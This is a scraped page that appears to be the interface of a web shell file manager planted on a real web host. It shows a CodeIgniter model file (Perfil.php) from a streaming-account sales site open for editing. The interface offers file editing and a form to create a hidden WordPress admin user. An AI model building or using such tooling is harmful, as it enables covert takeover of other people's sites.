📝 File Editor (IP: )
📂 Root Folder:
🔍 Buka
📁 Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/models
⬅️ Kembali ke folder sebelumnya
📄
Cliente.php
📄
Configuracion.php
📄
Panel.php
📄
Perfil.php
📄
Producto.php
📄
Servicio.php
📄
Usuario.php
📄
Venta.php
📄
index.html
📁 Folder Baru:
+ Buat
📄 File Baru:
+ Buat
✏️ Rename:
Cliente.php
Configuracion.php
Panel.php
Perfil.php
Producto.php
Servicio.php
Usuario.php
Venta.php
index.html
➡️
Rename
➕ Tambah User WordPress (folder aktif)
👤 Username:
📧 Email:
🔒 Password:
➕ Buat User WP (admin)
📝 Mengedit: Perfil.php
<?php class Perfil extends CI_Model { public function obtenerTodos() { $this->db->join('perfiles', 'id_ser=fk_id_ser'); $query = $this->db->get('productos'); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function obtenerTodosPorProducto($id_pro) { $this->db->where("id_pro", $id_pro); $this->db->join('productos', 'id_pro=fk_id_pro'); $query = $this->db->get('perfiles'); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function obtenerTodosPorServicioJSON($id_ser) { $fechaActual = date("Y-m-d"); $this->db->where("id_ser", $id_ser); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('perfiles_pro > 0'); $this->db->where('fecha_vencimiento_pro >', $fechaActual); $this->db->where('estado_pro = 1'); $query = $this->db->get('productos'); $result = $query->result_array(); if ($query->num_rows() > 0) { return $result; } else { return false; } } public function insertar($datosPerfil) { return $this->db->insert('perfiles', $datosPerfil); } // public function importar($datosProductos) // { // return $this->db->insert_batch('productos', $datosProductos); // } public function obtenerPorId($id_per) { $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->where("id_per", $id_per); $query = $this->db->get('perfiles'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } // public function obtenerPorIdJSON($id) // { // $this->db->join('servicios', 'id_ser=fk_id_ser'); // $this->db->where('id_pro', $id); // $query = $this->db->get('productos'); // $result = $query->result_array(); // if ($query->num_rows() > 0) { // return $result; // } else { // return false; // } // } public function eliminar($id_per) { $this->db->where("id_per", $id_per); return $this->db->delete("perfiles"); } public function actualizar($id_per, $datosEditados) { $this->db->where("id_per", $id_per); return $this->db->update("perfiles", $datosEditados); } public function obtenerPerfilesPorProducto($id_pro) { $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->where("fk_id_pro", $id_pro); $query = $this->db->get('perfiles'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } public function verificarPerfilesActivos($id_pro) { $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->where("fk_id_pro", $id_pro); $this->db->where("estado_per", 1); $query = $this->db->get('perfiles'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } public function obtenerPerfilesPorProductoJSON($id_pro) { $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->where("fk_id_pro", $id_pro); $this->db->where("estado_per", 1); $query = $this->db->get('perfiles'); $result = $query->result_array(); if ($query->num_rows() > 0) { return $result; } else { return false; } } public function actualizarEstadoPerfil($id_per, $datosEditados) { $this->db->where("id_per", $id_per); return $this->db->update("perfiles", $datosEditados); } public function actualizarEstadoPerfilesCuentaCompleta($fk_id_pro, $datosEditados) { $this->db->where("fk_id_pro", $fk_id_pro); return $this->db->update("perfiles", $datosEditados); } var $table = 'perfiles'; var $column_order = array('id_per', 'nombre_per', 'pin_per', 'estado_per'); var $order = array('id_per', 'nombre_per', 'pin_per', 'estado_per'); private function _get_data_query($id_pro) { if ($this->session->userdata('C0n3ct4d0_Usr')) { if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR" || $this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "VENDEDOR") { $this->db->from($this->table); $this->db->select('perfiles.*, productos.*'); $this->db->join('productos', 'id_pro=fk_id_pro'); $this->db->where("fk_id_pro", $id_pro); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('nombre_per', $_POST['search']['value']); $this->db->or_like('pin_per', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_per', 'ASC'); } } else { redirect('paneles/index'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosJson($id_pro) { $this->_get_data_query($id_pro); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data($id_pro) { $this->_get_data_query($id_pro); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data($id_pro) { $this->db->from($this->table); $this->db->where("fk_id_pro", $id_pro); return $this->db->count_all_results(); } }
💾 Simpan
🔁 Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup